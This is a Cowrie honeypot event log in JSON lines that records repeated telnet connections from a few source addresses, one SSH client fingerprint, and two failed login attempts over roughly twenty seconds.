{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52684,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd2d11204c5d","protocol":"telnet","message":"New connection: 51.161.172.108:52684 (159.203.135.109:23) [session: bd2d11204c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.270565Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52698,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e32c67dfa4","protocol":"telnet","message":"New connection: 51.161.172.108:52698 (159.203.135.109:23) [session: 64e32c67dfa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.654252Z"}
{"eventid":"cowrie.session.closed","duration":31.604350090026855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.748786Z","src_ip":"51.161.172.108","session":"6c83dfe23d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52706,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c2e8b90eaf4","protocol":"telnet","message":"New connection: 51.161.172.108:52706 (159.203.135.109:23) [session: 7c2e8b90eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.842048Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47448,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c219110b686","protocol":"telnet","message":"New connection: 173.249.63.118:47448 (10.17.0.5:23) [session: 9c219110b686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.862282Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52716,"dst_ip":"159.203.135.109","dst_port":23,"session":"91b74d2ce381","protocol":"telnet","message":"New connection: 51.161.172.108:52716 (159.203.135.109:23) [session: 91b74d2ce381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.969336Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":52940,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3bb1e53c1ac","protocol":"telnet","message":"New connection: 167.99.38.72:52940 (159.203.135.109:23) [session: f3bb1e53c1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:53.212493Z"}
{"eventid":"cowrie.session.closed","duration":31.31382989883423,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:53.287739Z","src_ip":"51.161.172.108","session":"036f7ab36d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":53218,"dst_ip":"159.203.135.109","dst_port":23,"session":"d10bf8a57683","protocol":"telnet","message":"New connection: 167.99.38.72:53218 (159.203.135.109:23) [session: d10bf8a57683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:53.727281Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52732,"dst_ip":"159.203.135.109","dst_port":23,"session":"44dd530626c6","protocol":"telnet","message":"New connection: 51.161.172.108:52732 (159.203.135.109:23) [session: 44dd530626c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:53.818484Z"}
{"eventid":"cowrie.session.closed","duration":31.476457357406616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:54.383082Z","src_ip":"51.161.172.108","session":"311f7c5f75c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342517137527466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:54.502108Z","src_ip":"51.161.172.108","session":"5069275b3e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806396007537842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:55.210994Z","src_ip":"51.161.172.108","session":"85e5dd12d025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":50928,"dst_ip":"10.17.0.5","dst_port":23,"session":"c700714a136f","protocol":"telnet","message":"New connection: 173.249.63.118:50928 (10.17.0.5:23) [session: c700714a136f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:55.258387Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f7690ceec7","protocol":"telnet","message":"New connection: 51.161.172.108:52748 (159.203.135.109:23) [session: 44f7690ceec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:55.579260Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52754,"dst_ip":"159.203.135.109","dst_port":23,"session":"e03eb832f7bf","protocol":"telnet","message":"New connection: 51.161.172.108:52754 (159.203.135.109:23) [session: e03eb832f7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:55.667410Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52764,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d590c5acc85","protocol":"telnet","message":"New connection: 51.161.172.108:52764 (159.203.135.109:23) [session: 8d590c5acc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:56.021264Z"}
{"eventid":"cowrie.session.closed","duration":32.13789510726929,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:56.050162Z","src_ip":"51.161.172.108","session":"ccc66ae7b678","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52766,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff175b349c18","protocol":"telnet","message":"New connection: 51.161.172.108:52766 (159.203.135.109:23) [session: ff175b349c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:56.214351Z"}
{"eventid":"cowrie.session.closed","duration":31.28161597251892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:56.856524Z","src_ip":"51.161.172.108","session":"bd2152dc5abe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199614763259888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:57.032876Z","src_ip":"51.161.172.108","session":"44343423abd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393579721450806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:57.723565Z","src_ip":"51.161.172.108","session":"6988f9d14a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52770,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e33ab7dd833","protocol":"telnet","message":"New connection: 51.161.172.108:52770 (159.203.135.109:23) [session: 6e33ab7dd833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.013558Z"}
{"eventid":"cowrie.session.closed","duration":32.13532829284668,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.101305Z","src_ip":"51.161.172.108","session":"554843cddf88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55578,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f9cde76e50","protocol":"telnet","message":"New connection: 167.99.38.72:55578 (159.203.135.109:23) [session: 94f9cde76e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.139090Z"}
{"eventid":"cowrie.session.closed","duration":30.72309160232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.208750Z","src_ip":"51.161.172.108","session":"4f1151952ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70742964744568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.228542Z","src_ip":"51.161.172.108","session":"5c3a27c39f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52776,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e66439e1df7","protocol":"telnet","message":"New connection: 51.161.172.108:52776 (159.203.135.109:23) [session: 6e66439e1df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.329258Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":53058,"dst_ip":"10.17.0.5","dst_port":23,"session":"45b69336e154","protocol":"telnet","message":"New connection: 173.249.63.118:53058 (10.17.0.5:23) [session: 45b69336e154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:58.650818Z"}
{"eventid":"cowrie.session.closed","duration":32.11188197135925,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:59.142331Z","src_ip":"51.161.172.108","session":"978ae3e219ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68851590156555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:59.205338Z","src_ip":"51.161.172.108","session":"e46be090f124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36390,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b28b2d76ad0","protocol":"telnet","message":"New connection: 51.161.172.108:36390 (159.203.135.109:23) [session: 3b28b2d76ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:59.226772Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55848,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b441b95af56","protocol":"telnet","message":"New connection: 167.99.38.72:55848 (159.203.135.109:23) [session: 5b441b95af56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:59.653126Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:00.036921Z","src_ip":"122.168.114.167","session":"331d5c3b36d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36394,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e445175d50a","protocol":"telnet","message":"New connection: 51.161.172.108:36394 (159.203.135.109:23) [session: 7e445175d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:00.339508Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36402,"dst_ip":"159.203.135.109","dst_port":23,"session":"df904a3be889","protocol":"telnet","message":"New connection: 51.161.172.108:36402 (159.203.135.109:23) [session: df904a3be889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:00.358583Z"}
{"eventid":"cowrie.session.closed","duration":31.130950927734375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:00.492621Z","src_ip":"51.161.172.108","session":"916302b33b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699853897094727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:00.865573Z","src_ip":"51.161.172.108","session":"bbb682f6cb20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.23965239524841,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:01.266237Z","src_ip":"167.99.38.72","session":"46e812cc7dcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36416,"dst_ip":"159.203.135.109","dst_port":23,"session":"64f5527a6153","protocol":"telnet","message":"New connection: 51.161.172.108:36416 (159.203.135.109:23) [session: 64f5527a6153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:01.388896Z"}
{"eventid":"cowrie.session.closed","duration":31.18215537071228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:01.754447Z","src_ip":"51.161.172.108","session":"2be8df107b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.082892179489136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.185401Z","src_ip":"51.161.172.108","session":"c95991dce0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"165635ddaee0","protocol":"telnet","message":"New connection: 173.249.63.118:57030 (10.17.0.5:23) [session: 165635ddaee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.223166Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58186,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc57e9ad11ad","protocol":"telnet","message":"New connection: 167.99.38.72:58186 (159.203.135.109:23) [session: dc57e9ad11ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.267543Z"}
{"eventid":"cowrie.session.closed","duration":31.166505336761475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.283036Z","src_ip":"51.161.172.108","session":"9268d43b2005","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384745121002197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.769049Z","src_ip":"51.161.172.108","session":"e8bef782bbea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.236599445343018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.902786Z","src_ip":"51.161.172.108","session":"24dae21cde92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aa270f0da2d","protocol":"telnet","message":"New connection: 173.249.63.118:51884 (10.17.0.5:23) [session: 3aa270f0da2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:02.910403Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36432,"dst_ip":"159.203.135.109","dst_port":23,"session":"837a9b9619d8","protocol":"telnet","message":"New connection: 51.161.172.108:36432 (159.203.135.109:23) [session: 837a9b9619d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.018965Z"}
{"eventid":"cowrie.session.closed","duration":31.585381269454956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.111642Z","src_ip":"51.161.172.108","session":"525bd82955c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75348424911499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.202261Z","src_ip":"51.161.172.108","session":"5da3d6fa8713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a773d4cc376","protocol":"telnet","message":"New connection: 51.161.172.108:36446 (159.203.135.109:23) [session: 5a773d4cc376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.480955Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59430,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ef5351a94c","protocol":"telnet","message":"New connection: 167.99.38.72:59430 (159.203.135.109:23) [session: 59ef5351a94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.946960Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":36722,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e515cab4e1","protocol":"telnet","message":"New connection: 173.249.63.118:36722 (10.17.0.5:23) [session: f6e515cab4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:03.950909Z"}
{"eventid":"cowrie.session.closed","duration":31.334551334381104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:04.874211Z","src_ip":"51.161.172.108","session":"a1863f4b127b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"ada931fcfe31","protocol":"telnet","message":"New connection: 51.161.172.108:36450 (159.203.135.109:23) [session: ada931fcfe31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:06.480341Z"}
{"eventid":"cowrie.session.closed","duration":"32.4","message":"Connection lost after 32.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:06.547585Z","src_ip":"122.168.114.167","session":"331d5c3b36d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":36458,"dst_ip":"159.203.135.109","dst_port":23,"session":"fff79ce41695","protocol":"telnet","message":"New connection: 51.161.172.108:36458 (159.203.135.109:23) [session: fff79ce41695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:07.288893Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":39284,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa711a5016c9","protocol":"telnet","message":"New connection: 173.249.63.118:39284 (10.17.0.5:23) [session: fa711a5016c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:07.458149Z"}
{"eventid":"cowrie.session.closed","duration":31.267531871795654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:08.583197Z","src_ip":"51.161.172.108","session":"c5eb768f1860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15580105781555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:08.601855Z","src_ip":"51.161.172.108","session":"3812966844b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":38642,"dst_ip":"10.17.0.5","dst_port":22,"session":"090be5cb9628","protocol":"ssh","message":"New connection: 190.108.60.101:38642 (10.17.0.5:22) [session: 090be5cb9628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:08.899567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:08.904690Z","src_ip":"190.108.60.101","session":"090be5cb9628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:09.117727Z","src_ip":"190.108.60.101","session":"090be5cb9628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05559492111206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:09.306506Z","src_ip":"51.161.172.108","session":"4455377a1b6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert1","message":"login attempt [ubuntu/qwert1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:09.995847Z","src_ip":"190.108.60.101","session":"090be5cb9628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01414132118225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:10.301964Z","src_ip":"51.161.172.108","session":"cf8c64e8e099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47764,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1599ee6bcc9","protocol":"telnet","message":"New connection: 51.161.172.108:47764 (159.203.135.109:23) [session: a1599ee6bcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:10.416539Z"}
{"eventid":"cowrie.session.closed","duration":30.796690940856934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:10.468543Z","src_ip":"51.161.172.108","session":"cc7af1274e5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":47774,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc68315f4335","protocol":"telnet","message":"New connection: 51.161.172.108:47774 (159.203.135.109:23) [session: fc68315f4335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:10.506847Z"}
{"eventid":"cowrie.session.closed","duration":31.406646728515625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:11.058402Z","src_ip":"51.161.172.108","session":"6fde6f4623f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:11.207515Z","src_ip":"190.108.60.101","session":"090be5cb9628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41272,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5d9196c09d1","protocol":"telnet","message":"New connection: 173.249.63.118:41272 (10.17.0.5:23) [session: b5d9196c09d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:11.353735Z"}
{"eventid":"cowrie.session.closed","duration":31.519221782684326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:12.049408Z","src_ip":"51.161.172.108","session":"1018178e382c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":36008,"dst_ip":"159.203.135.109","dst_port":23,"session":"316e408a4b91","protocol":"telnet","message":"New connection: 167.99.38.72:36008 (159.203.135.109:23) [session: 316e408a4b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:12.116425Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":41926,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b9a8a203d37","protocol":"telnet","message":"New connection: 173.249.63.118:41926 (10.17.0.5:23) [session: 0b9a8a203d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:12.154241Z"}
{"eventid":"cowrie.session.closed","duration":31.23694348335266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:45:12.227333Z","src_ip":"51.161.172.108","session":"cfc8a5b639cd","protocol":"telnet"}
